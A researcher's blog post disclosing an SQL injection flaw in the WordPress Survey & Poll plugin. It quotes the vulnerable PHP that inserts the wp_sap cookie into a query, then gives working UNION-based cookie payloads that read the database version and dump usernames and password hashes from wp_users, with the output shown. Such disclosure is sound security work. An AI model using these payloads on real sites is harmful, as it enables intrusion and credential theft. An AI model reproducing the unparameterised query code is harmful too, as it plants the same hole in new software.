WordPress Plugin Survey & Poll SQL Injection
I decided to write some posts in English. This post is one of them. In this post, I am going to explain a vulnerability that I discovered in WordPress Survey & Poll plugin.
I’ve always done black box testing, till today! A few days ago, I decided to spend my time reading code for finding a vulnerability until my conscription date came up. At the end of this quest, i found a treasure: an SQL injection vulnerability.
I submitted this vulnerability to Exploit-DB and they published it today. Its link is referenced below.
Methodology
I was downloading WordPress plugins randomly. After reading 10-15 plugins, I came across with WordPress Survey & Poll plugin. In wordpress-survey-and-poll.php
, there were remarkable lines in enqueue_custom_scripts_and_styles
function to see:
1if ( isset( $_COOKIE[ 'wp_sap' ] ) ) {
2 $survey_viewed = json_decode( stripslashes( $_COOKIE[ 'wp_sap' ] ) );
3}
4if ( ! empty( $survey_viewed ) ) {
5 $sv = implode( $survey_viewed );
6 $sv_condition = "AND (mss.id NOT IN ('" . $sv . "'))";
7}
8$sql = "SELECT *,msq.id as question_id FROM " . $wpdb->prefix . "wp_sap_surveys mss LEFT JOIN " . $wpdb->prefix . "wp_sap_questions msq on mss.id = msq.survey_id WHERE global = 1 AND (`expiry_time`>'" . current_time( 'mysql' ) . "' OR `expiry_time`='0000-00-00 00:00:00') AND (`start_time`<'" . current_time( 'mysql' ) . "' OR `start_time`='0000-00-00 00:00:00') " . $sv_condition . " ORDER BY msq.id ASC";
9$questions_sql = $wpdb->get_results( $sql );
According to the snippet above, value of the cookie parameter named wp_sap
was being inserted to an SQL query. This was a really good entry point for the exploitation. I assigned a value to wp_sap
parameter and I checked it if it was injected to query, and yes it was injected.
1-- Injected value: ["1650149780')) OR 1=1#"]
2-- Query:
3SELECT *,msq.id as question_id FROM wp_wp_sap_surveys mss LEFT JOIN wp_wp_sap_questions msq on mss.id = msq.survey_id WHERE global = 1 AND (`expiry_time`>'2018-09-14 12:57:45' OR `expiry_time`='0000-00-00 00:00:00') AND (`start_time`<'2018-09-14 12:57:45' OR `start_time`='0000-00-00 00:00:00') AND (mss.id NOT IN ('1650149780')) OR 1=1#')) ORDER BY msq.id ASC
The query was returning an array consisting of surveys. In continuation of the previous snippet, a new array was being created and populated with values of the first survey of the array. Afterwards, the new array was reflected to value of “sss_params” in front page i.e. when you see a question in front page, it means there is “sss_params” with crafted array in HTML source code.
1foreach( $questions_sql as $key=>$qs ) {
2 if ( $key == 0 ) {
3 $survey[ 'options' ] = stripslashes( str_replace( '\\\'', '|', $qs->options ) );
4 $survey[ 'plugin_url' ] = plugins_url( '', __FILE__ );
5 $survey[ 'admin_url' ] = admin_url( 'admin-ajax.php' );
6 $survey[ 'survey_id' ] = $qs->survey_id;
7 $survey[ 'style' ] = 'modal';
8 $survey[ 'expired' ] = 'false';
9 $survey[ 'debug' ] = 'true';
10 }
11 $survey[ 'questions' ][ $key ][] = $qs->question;
12 $sql = "SELECT * FROM " . $wpdb->prefix . "wp_sap_answers WHERE survey_id = '" . $qs->survey_id . "' AND question_id = '" . $qs->question_id . "' ORDER BY autoid ASC";
13 $answers_sql = $wpdb->get_results($sql);
14 foreach( $answers_sql as $key2=>$as ) {
15 $survey[ 'questions' ][ $key ][] = $as->answer;
16 }
17}
18wp_localize_script( 'wp_sap_script', 'sss_params', array( 'survey_options' => json_encode( $survey ) ) );
19wp_enqueue_script( 'wp_sap_script' );
Developing Payload
In the light of all the information mentioned above, I was able to manipulate the array using wp_sap
cookie parameter to complete exploitation. To do this, I began to develop a payload for retrieving DB version.
I wanted to use UNION [2] operator. Therefore, I needed to know the number of columns in query. For this, I executed the query to see the columns. The number of columns was 11.
Results
After learning the number of columns, I changed the payload to:
1["1650149780')) OR 1=1 UNION ALL SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,10101010,11111111#"];
The result was:
1<script type='text/javascript'>
2/*
3<![CDATA[ */
4var sss_params = {"survey_options":"{\"options\":\"[\\\"bottom\\\",\\\"easeInOutBack\\\",\\\"\\\",\\\"linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -o-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -ms-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -moz-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -webkit-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%);\\\",\\\"rgb(0, 0, 0)\\\",\\\"rgb(93, 93, 93)\\\",\\\"1\\\",\\\"5\\\",\\\"12\\\",\\\"10\\\",\\\"12\\\",500,\\\"Thank you for your feedback!\\\",\\\"0\\\",\\\"0\\\",\\\"0\\\"]\",\"plugin_url\":\"http:\\\/\\\/localhost\\\/wordpress\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/localhost\\\/wordpress\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"1650149780\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"testsurvey\",\"Yes\",\"No\"],[\"Test Survey\",\"Yes\",\"No\"],[\"10101010\"]]}"};
5/* ]]> */
6</script>
There was “101010” at the end of sss_params
. So, the reflected column was 10th column. I changed it to @@version
and the result was:
1var sss_params = {"survey_options":"{\"options\":\"[\\\"bottom\\\",\\\"easeInOutBack\\\",\\\"\\\",\\\"linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -o-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -ms-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -moz-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -webkit-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%);\\\",\\\"rgb(0, 0, 0)\\\",\\\"rgb(93, 93, 93)\\\",\\\"1\\\",\\\"5\\\",\\\"12\\\",\\\"10\\\",\\\"12\\\",500,\\\"Thank you for your feedback!\\\",\\\"0\\\",\\\"0\\\",\\\"0\\\"]\",\"plugin_url\":\"http:\\\/\\\/localhost\\\/wordpress\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/localhost\\\/wordpress\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"1650149780\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"testsurvey\",\"Yes\",\"No\"],[\"Test Survey\",\"Yes\",\"No\"],[\"10.1.35-MariaDB\"]]}"};
2/* ]]> */
DB version: 10.1.35-MariaDB
With this payload I was able to retrieve everything in database of the app. For example, for retrieving user names and passwords;
1["1650149780')) OR 1=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,concat(user_login,0x3a,user_pass),11 from wp_users#"]
Result:
[\"admin:$P$Bubj7gAfgsIFukTTAHoMPpB4U7hVbu\\\/\"]